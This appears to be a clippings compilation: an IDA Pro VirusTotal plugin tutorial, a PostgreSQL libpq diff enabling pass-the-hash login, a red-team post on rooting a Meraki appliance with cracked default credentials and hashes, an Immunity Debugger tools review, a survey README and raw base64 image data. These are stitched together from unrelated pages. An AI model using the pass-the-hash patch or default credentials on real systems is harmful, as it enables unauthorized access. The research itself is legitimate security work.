For example, this is how the form will be rendered on Mac OS:

<img src='img/Temp2_8910.gif' width='595' height='484'
alt='vt_ui_dlg_mac_upload' />

This is how the form creation code looks like \(explanation will follow\):

<img src='img/Temp2_8913.gif' width='642' height='408'
alt='vt_func_form_create' />

The following sections will explain in more details how to use this class.

#### The form string syntax

The form string syntax is based on the description found in _kernwin.hpp_ SDK
header. The syntax is slightly different; the difference is that you should
describe form controls using special tags \(surrounded by \{ and \}\). Please
search for “Format string for AskUsingForm\_c\(\)” inside the _kernwin.hpp_
header file to get more documentation about the form string syntax.

The form string explained:

  1. The first line contains some special **AskUsingForm\(\)** directives. Here we use the _STARTITEM_ to specify which control takes the initial focus. A special function \{id:ControlName\} is used. It will be replaced by an actual id later when the form is compiled.
  2. After the directives comes the form title
  3. Then we declare that we have a form change callback \(notice the _\{FormChangeCb\}_\)
  4. Input form controls are denoted inside “<” and “>”: 
    1. The general syntax is: **<** \#_Hints if any_ \#S~o~me label:**\{ControlName\} >**
    2. You can escape the curly braces with “\\\{“
    3. Group controls \(such as radio or checkbox groups\) should have an extra “**>**\{**GroupControl**\}**>** ” termination
    4. The tilde character is equivalent to the ampersand character \(on MS Windows\). It is used to specify an access key to a given control.
  5. Label controls \(address and string labels\) can be created too
  6. All other text in this section will be rendered as-is in the dialog

If you’re curious, this is how the form would look like if we did not using
the Form class syntax:

<img src='img/Temp2_8915.gif' width='541' height='219' alt='vt_func_compform'
/>

As you see, all the \{Control\} strings are expanded to the actual syntax
required by **AskUsingForm\(\)**\(also notice how the IDs are assigned as
well\).

#### Form controls

All the allowed form controls \(input or label controls\) are declared as
inner-classes in the **Form** class. When you create the form, you need to
pass the form string \(as we seen above\) and a dictionary of controls with
key=ControlName and value=Control\_Object\_Instance.

Please refer to Form documentation or the ex\_askusingform.py example.

Embedded choosers cannot be directly embedded, first you need to create an
embedded chooser control and then link it to the embedded chooser instance.

#### Form change callback

The _FormChangeCb_ control will allow you to specify a callback that will be
triggered on form events. Form change callback resemble dialog procedures on
MS Windows. This callback will be triggered whenever a form control is focused
or changed. From this callback you can hide/enable/move/modify other form
controls.

<img src='img/Temp2_8912.gif' width='605' height='656'
alt='vt_func_form_chgcb' />

In the code above, we check which control id generated an event and handle
actions accordingly.  
For example we are enabling/disabling certain checkboxes and handling the
“Report” button click by calling the **VtReport\(\)** function and updating
the embedded chooser contents by calling **Form.RefreshField\(\)**.

#### Showing the form

A form must be compiled with **Compile\(\)** before it can be displayed
with**Execute\(\)**. No need to compile the form more than once \(unless you
change the form string\). To check if the form is already compiled use the
**Compiled\(\)** function.

It is possible to populate the initial form controls values in two ways:

  * When a form is compiled and before calling Execute\(\) you can directly write to the “value”, “selected” or “checked” field of a form control
  * In the Form change callback: control id == –1 will be passed when the form is created and control id == –2 when the form is closed by pressing Ok.

This is how we show the form \(first compile, populate and then display\):

  
<img src='img/Temp2_8909.gif' width='572' height='461' alt='vt_func_form_show'
/>

### Writing the plugin

Now we need to glue all the components together by writing a **plugin\_t**
sub-class \(a regular IDA Pro script plugin\).

<img src='img/Temp2_8911.gif' width='525' height='671' alt='vt_func_plg' />

The run\(\) method does the following:

  * Load a custom icon \(the VT icon\)
  * Create the form
  * Populate and display the form
  * Free the form
  * If requested by the user, create a regular \(not embedded\) chooser to show the results in IDA Pro \(after the plugin has terminated\)

The results shown in a chooser:

<img src='img/Temp2_8917.gif' width='661' height='418' alt='vt_ui_pop_results'
/>

The results \(but this time docked\):

<img src='img/Temp2_8921.gif' width='634' height='375'
alt='vt_ui_docked_results' />

### Using the VirusTotal IDA Pro plugin

Before using the plugin, you need to do the following things:

  * Install simplejson Python package in your system
  * Download and install IDAPython 1.5.1 \(Unfortunately, idaapi.AskUsingForm\(\) was mistakenly not compiled into IDAPython 1.5.0\).Download the article files \(_BboeVt_ module\) and the _VirusTotal plugin_
  * Copy the _BboeVt_ module \(from the article files\) to your Python site-packages
  * Copy the _VirusTotal.py_ plugin to $IDA\plugins folder

Using the plugin:

  * Run IDA Pro and open a database
  * Invoke the VirusTotal plugin \(the default hotkey is Alt-F8\)
  * You may fetch a report using a file path \(if you browse a file\) or a file hash \(By default the file path and then file hash will be populated from the currently opened database\)
  * Double click on an result item to open the browser and read more about the given report

That’s it\! Comments, questions or suggestions are welcome.

This entry was posted in IDA Pro, IDAPython and tagged IDA61, IDAPython,
VirusTotal. Bookmark the permalink.

# https://hashcat.net/misc/postgres-pth/postgresql\_diff\_minimal.txt

**Created:**| _3/3/2015 1:56:49 PM_  
---|---  
**Updated:**| _3/3/2015 1:56:49 PM_  
**Author:**| __  
**Tags:**| __  
  

[code]

    diff --git a/src/interfaces/libpq/fe-auth.c b/src/interfaces/libpq/fe-auth.c
    index 8927df4..e7ba5d5 100644
    --- a/src/interfaces/libpq/fe-auth.c
    +++ b/src/interfaces/libpq/fe-auth.c
    @@ -490,7 +490,7 @@ pg_local_sendauth(PGconn *conn)
     }
     
     static int
    -pg_password_sendauth(PGconn *conn, const char *password, AuthRequest areq)
    +pg_password_sendauth(PGconn *conn, const char *hash, AuthRequest areq)
     {
     	int			ret;
     	char	   *crypt_pwd = NULL;
    @@ -502,10 +502,9 @@ pg_password_sendauth(PGconn *conn, const char *password, AuthRequest areq)
     	{
     		case AUTH_REQ_MD5:
     			{
    -				char	   *crypt_pwd2;
    +				/* Allocate enough space for ONE MD5 hashes */
    +				crypt_pwd = malloc(MD5_PASSWD_LEN + 1);
     
    -				/* Allocate enough space for two MD5 hashes */
    -				crypt_pwd = malloc(2 * (MD5_PASSWD_LEN + 1));
     				if (!crypt_pwd)
     				{
     					printfPQExpBuffer(&conn->errorMessage,
    @@ -513,6 +512,10 @@ pg_password_sendauth(PGconn *conn, const char *password, AuthRequest areq)
     					return STATUS_ERROR;
     				}
     
    +				/*
    +				 * NOT needed at all ;(    OMG!
    +				 *
    +
     				crypt_pwd2 = crypt_pwd + MD5_PASSWD_LEN + 1;
     				if (!pg_md5_encrypt(password, conn->pguser,
     									strlen(conn->pguser), crypt_pwd2))
    @@ -520,7 +523,33 @@ pg_password_sendauth(PGconn *conn, const char *password, AuthRequest areq)
     					free(crypt_pwd);
     					return STATUS_ERROR;
     				}
    -				if (!pg_md5_encrypt(crypt_pwd2 + strlen("md5"), conn->md5Salt,
    +				*/
    +
    +				/*
    +				 * just some basic checks for the input "hash"
    +				 */
    +
    +				if (strlen (hash) != MD5_PASSWD_LEN) // MD5_PASSWD_LEN is 35 ("md5" + 32 hex)
    +				{
    +					char *errorMessage = "this is not a valid hash\n";
    +					printfPQExpBuffer(&conn->errorMessage,
    +									  libpq_gettext(errorMessage));
    +					printf (errorMessage);
    +					return STATUS_ERROR;
    +				}
    +
    +				if (0 != memcmp (hash, "md5", 3))
    +				{
    +					char *errorMessage = "hash must be formatted like this: \"md5\" + MD5 hash (32 hexadecimal symbols)\n";
    +					printfPQExpBuffer(&conn->errorMessage,
    +									  libpq_gettext(errorMessage));
    +					printf (errorMessage);
    +					return STATUS_ERROR;
    +				}
    +
    +				// all checks done
    +
    +				if (!pg_md5_encrypt(hash + strlen("md5"), conn->md5Salt,
     									sizeof(conn->md5Salt), crypt_pwd))
     				{
     					free(crypt_pwd);
    @@ -531,7 +560,7 @@ pg_password_sendauth(PGconn *conn, const char *password, AuthRequest areq)
     				break;
     			}
     		case AUTH_REQ_PASSWORD:
    -			pwd_to_send = password;
    +			pwd_to_send = hash;
     			break;
     		default:
     			return STATUS_ERROR;
    
[/code]

# Meraki RCE: When Red Team and Vulnerability Research fell in love. Part 1

**Created:**| _1/17/2017 1:21:13 PM_  
---|---  
**Updated:**| _1/17/2017 1:21:13 PM_  
**Author:**| __  
**Tags:**| _hardware network-security_  
  

  

# Meraki RCE: When Red Team and Vulnerability Research fell in love. Part 1

Published:  2017-01-16  
By: Alberto García Illera __

* * *
When I joined Salesforce, before moving over to vulnerability research, I
worked in the Red Team. Our mission was to strengthen Salesforce’s security
posture by acting as an external attacker.

In one assessment, I installed a pwnplug inside a meeting room. Unfortunately,
when I went back to the office to check the shell, I learned that I had ended
up plugged into a VoIP VLAN. Not very promising from an attacker point of
view, but I decided to see what I could glean from this VLAN anyway.

## Initial Recon

The switch I was able to reach from the pwnplug was Meraki branded. These kind
of devices are connected to a cloud that allows sysadmins to manage multiple
network devices remotely through a web interface. I was able to view the
management interface as seen below:

<img src='img/Temp2_5291.png' width='50%' height='507' />

I couldn’t find any public exploit that could successfully compromise the
Meraki device providing a shell I could use to access other VLANs. In fact,
even authorized sysadmins can’t SSH to the device directly – they must use the
web interface to perform any management actions. Only two options remained:
giving up and trying a completely different attack vector, or doing some
research and finding a Remote Code Execution exploit. I opted for the second
one. First, I tried poking around in the switch’s web portal trying to find
more information \(and hopefully execute code\) through the webUI. The attack
surface is very restricted, and most web sections require authentication.

<img src='img/Temp2_5296.png' width='636' height='173' />

Time to think about a different approach.

## Hardware hacking

I’ve always liked taking things apart, and every time I do it something
extraordinary happens: somehow screws reproduce and I always get some extra
ones when I mount things back. Through similar magic, I somehow managed to
acquire a Meraki MX80 security appliance to play with. At this point I took
the hardware pentesting approach: extract the firmware, with the goal of
reverse engineering the CGIs and binaries that listen at any port. After
opening the device, I noticed its 1Tb hard drive. After extracting and
mounting it, I could see that no filesystem resides in the hard drive – it’s
just used to store cache information.

<img src='img/Temp2_5293.png' width='50%' height='350' />

I suspected that the OS filesystem must be in flash memory in the device’s
circuit board. After some hours of testing with a multimeter and logical
analyzer, I found an open serial connection that gave me full root access to
the device. It uses U-Boot as bootloader as you can see in the next screenshot
after setting up the correct baudrate.

<img src='img/Temp2_5295.png' width='50%' height='154' />

The baudrate of the serial communication is 57600. To be able to connect to it
I used a Raspberry Pi through the serial interface:

<img src='img/Temp2_5292.png' width='49%' height='633' /> <img
src='img/Temp2_5294.png' width='49%' height='357' />

Once I got root access, I extracted all the configuration files; webUI
configuration files, `/etc/passwd`, and so forth. Lighttpd, the web server
used to serve the web portal, stores the credentials for the protected areas
of the web portal in the `/tmp/lighttpd-htpasswd.conf` file which contained
the following content:

[code]

    m00180A07A354:/# cat /tmp/lighttpd-htpasswd.*
    mf_test:$1$$ZbKKXKQQpKjTbTPeMZwk..
    admin:$1$$G7.z4WDwEF7FvCK4H6cah/
    Q2DN-GY83-EZBU:$1$$qRPK7m23GJusamGpoGLby/
    q2dn-gy83-ezbu:$1$$qRPK7m23GJusamGpoGLby/
    
[/code]

The last two entries correspond with the unique serial number of the device,
but as you can see there are two users, `mf_test` and `admin`, that are
commonly included in every version of the firmware. The credentials are
encrypted using MD5, and after some laborious time in the Salesforce cracking
rig, I cracked one of them:

[code]

    mf_test:mf_test
    
[/code]

These credentials can be used to access any restricted site within the web
server and modify the config, plus other interesting pages I will touch upon
later. The system passwords are stored in `/etc/password` as follows:

[code]

    m00180A07A354:/etc# cat passwd
    root:!:0:0:root:/tmp:/bin/ash
    nobody:*:65534:65534:nobody:/var:/bin/false
    meraki:MvCWFGH8/CrXM:0:0:meraki:/tmp:/usr/bin/logincheck
    mf:$1$$CgXoxAaejQmJWRkDiclb6/:0:0:meraki:/tmp:/usr/bin/mf_logincheck
    
[/code]

I tried to crack those credentials for a little while but I couldn’t. SSH
seems to be restricted so passwords cannot be used.

In the next post I will show how not only how I fully compromised the device
getting a root shell but how I managed to have a partially working Meraki
device in a Ubuntu VM. Doing this research was crucial to achieve the Red Team
objectives.

« WebSpellChecker stack buffer overflow

Archive

1-800-NO-SOFTWARE - 1-800-667-6389

© 2000–2016 salesforce.com, inc.  All Rights Reserved.  Various trademarks
held by their respective owners.

Salesforce.com, inc. The Landmark @ One Market, Suite 300, San Francisco, CA,
94105, United States

  

# Immunity Debugger goodies \(part 1\) | Brundle Lab
**Created:**| _9/16/2010 9:58:59 AM_  
---|---  
**Updated:**| _9/16/2010 9:59:14 AM_  
**Author:**| __  
**Tags:**| _Debugging security tools Exploit plugin awesome_  
  

## Immunity Debugger goodies \(part 1\)

Filed Under: Allgemeines by carlos — 4 Kommentare

10\. September 2010

Every time I use Immunity Debugger I can’t help thinking how I could live
until now without it.

I’m not going to write a love song in this post, but instead enumerate some of
the reasons which make ID one of the best RE tools, ever.

At a first glance, Immunity Debugger is “just like Olly but the colors are
better” \[Dino Dai Zovi said that\]. A second look at it confirms although
what _muts_ \(from Offensive Security\) stated: “This is light years from
Olly… light years…”

Without any doubt, the most impressive aspect of ID is its ability to run
_PyCommands_ , that is, python plugins using the internal immunity library.
It’s so easy as write a bit of python code, place it into the PyCommands
directory and you are ready to go.

You can execute your bright new PyCommand by writting in Immunity’s command
line toolbar \(located at the bottom\):

> \!my\_shiny\_new\_immscript
The syntaxis is rather “friendly” and the API is well documented. Moreover,
the standard collection of scripts ID is delivered with are more than enough
to accomplish most of the _daily tasks<img src='img/Temp2_4358.gif' alt=':)'
/>_

Below a short description of just some of them:

**\!apitrace**

This command walks through the command and logs jumps to API \(Win32\)
functions. It’s very useful to perform a quick and dirty code coverage.
Although there is a _nag_ : it will follow the logic of the code, that is,
_non-linear_ and it will log _every_ occurrence, that is, the same Win32 API
call will appear _several times_.

Anyway, nothing that a bit of _grep_ couldn’t fix <img
src='img/Temp2_4358.gif' alt=':)' />

Here an example:

<img src='img/Temp2_4359.gif' width='640' height='460' />

How neat is that?

**\!findpacker**

This illustrates the power of the immunity library. The command finds the
packer using the PEiD engine, but it’s actually nothing more than a convenient
wrapper for the function _imm.findPacker\(\)_

**\!heap**

This is another neat feature and is not the only one regarding heap analysis
\(a.k.a. pain in the ass\)

It’s used to, among other things, dump a certain heap region.

<img src='img/Temp2_4357.gif' width='640' height='436' />

And this all, accomplished with just a few Python lines.

**\!hidedebug**

This one is specially cool. It patches the loaded binary in order to avoid
most of the antidebugging tricks out there.

Here a list, from a comment inside the source code itself:

> Patches:  
>  o IsDebuggerPresent \(With Poly-patch code, as too easy to detect Xor EAX,
> EAX\)  
>  o ZwQueryInformationProcess  
>  o CheckRemoteDebuggerPresent  
>  o PEB.IsDebugged  
>  o PEB.ProcessHeap.Flag  
>  o PEB.NtGlobalFlag  
>  o PEB.Ldr 0xFEEEFEEE filling  
>  o GetTickCount \(With poly-patch code, as too easy to detect Mov EAX,
> xxxxxxxx\)  
>  o ZwQuerySystemInformation \(Used by CreateToolHelp32Snapshot /
> Process32First / Process32Next and others\)  
>  o FindWindowA  
>  o FindWindowW  
>  o FindWindowExA  
>  o FindWindowExW  
>  o EnumWindows
Poly-patch is a patching method using custom functions which randomly use
different patching schemes, in order to increase the entropy of the patched
sections.

**\!hookssl**

This one is worth mentioning for two reasons. One, implements a neat feature,
allowing you to see SSL encrypted traffic in clear text, hooking the
encryption/decryption functions. Two, precisely because of the way it
operates, the code is a perfect example of advanced hooking for reading and
modification of function arguments.

If you are interested in learning about how to implement hooking in Python or
just need a refresh, this code is highly recommendable. \(I have just read the
last sentence… and it sounds really nerdy, but do it\! <img
src='img/Temp2_4360.gif' alt=';)' /> \)

**\!searchcrypt**

This helps to identificate zones of the code where standard cryptographic
methods have been used, using some kind of binary signatures. Probably you
won’t need it, but if one day you need to find out this kind of information,
you’ll be so happy to have this command that you’ll send a Gift basket to the
developer for Christmas every year <img src='img/Temp2_4360.gif' alt=';)' />

<img src='img/Temp2_4356.gif' width='640' height='458' />

That should do for now, more to come in part 2\!

# argp's blog

**Created:**| _4/3/2010 7:22:19 AM_  
---|---  
**Updated:**| _4/3/2010 7:22:32 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

  * about

# zonination/perceptions

**Created:**| _5/7/2017 10:38:17 AM_  
---|---  
**Updated:**| _5/7/2017 10:38:17 AM_  
**Author:**| __  
**Tags:**| _cult\(ure\) cognitive\_intelligence_  
  

  

# Perceptions of Probability and Numbers

This Reddit post made the Longlist for the 2015 Kantar Information is
Beautiful Awards: Link

## About

These are a couple of polls inspired by the Sherman Kent CIA study shown in
the images below \(discussion in this thread\). I was super happy when they
matched up.

The raw data came from /r/samplesize responses to the following question:
_What \[probability/number\] would you assign to the phrase "\[phrase\]"?_ I
have the raw CSV data from the poll in this repository.

## Gallery

Sherman-Kent Study:

<img src='8cf8026eefdae916a003ee90b787885b' width='456' height='675'
alt='Sherman-Kent Study' />

/r/Samplesize Data:

<img src='fe8afee10a10429b7eac0513229ad896' width='800' height='800'
alt='Reproduction of the Sherman-Kent Study' />

<img src='img/plot2.png' width='800' height='500' alt='Additional survey
questions' />

## Tools

The data was compiled with R, and graphed in ggplot2.

## Source

This data was gathered using Reddit's /r/samplesize community.

  

R0lGODlhyAGjAvcAAP////7+/v39/fz8/Pv7+/r6+vn5+fj4+Pf39/b29vX19fT09PPz8/Ly8vHx8fDw8O/v7+7u7u3t7ezs7Ovr6+rq6unp6ejo6Ofn5+bm
5uXl5eTk5OPj4+Li4uHh4eDg4N/f397e3t3d3dzc3Nvb29ra2tnZ2djY2NfX19bW1tXV1dTU1NPT09LS0tHR0dDQ0M/Pz87Ozs3NzczMzMvLy8rKysnJycjI
yMfHx8bGxsXFxcTExMPDw8LCwsHBwcDAwL+/v76+vr29vby8vLu7u7q6urm5ubi4uLe3t7a2trW1tbS0tLOzs7KysrGxsbCwsK+vr66urq2traysrKurq6qq
qqmpqaioqKenp6ampqWlpaSkpKOjo6KioqGhoaCgoJ+fn56enp2dnZycnJubm5qampmZmZiYmJeXl5aWlpWVlZSUlJOTk5KSkpGRkZCQkI+Pj46Ojo2NjYyM
jIuLi4qKiomJiYiIiIeHh4aGhoWFhYSEhIODg4KCgoGBgYCAgH9/f35+fn19fXx8fHt7e3p6enl5eXh4eHd3d3Z2dnV1dXR0dHNzc3JycnFxcXBwcG9vb25u
bm1tbWxsbGtra2pqamlpaWhoaGdnZ2ZmZmVlZWRkZGNjY2JiYmFhYWBgYF9fX15eXl1dXVxcXFtbW1paWllZWVhYWFdXV1ZWVlVVVVRUVFNTU1JSUlFRUVBQ
UE9PT05OTk1NTUxMTEtLS0pKSklJSUhISEdHR0ZGRkVFRURERENDQ0JCQkFBQUBAQD8/Pz4+Pj09PTw8PDs7Ozo6Ojk5OTg4ODc3NzY2NjU1NTQ0NDMzMzIy
MjExMTAwMC8vLy4uLi0tLSwsLCsrKyoqKikpKSgoKCcnJyYmJiUlJSQkJCMjIyIiIiEhISAgIB8fHx4eHh0dHRwcHBsbGxoaGhkZGRgYGBcXFxYWFhUVFRQU
FBMTExISEhERERAQEA8PDw4ODg0NDQwMDAsLCwoKCgkJCQgICAcHBwYGBgUFBQQEBAMDAwICAgEBAQAAACwAAAAAyAGjAgAI/wABCBxIsKDBgwgTKlzIsKHD
hxAjSpxIsaLFixgzatzIsaPHjyBDihxJsqTJkyhTqlzJsqXLlzBjypxJs6bNmzhz6tzJs6fPn0CDCh1KtKjRo0iTKl3KtKnTp1CjSp1KtarVq1izat3KtavX
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
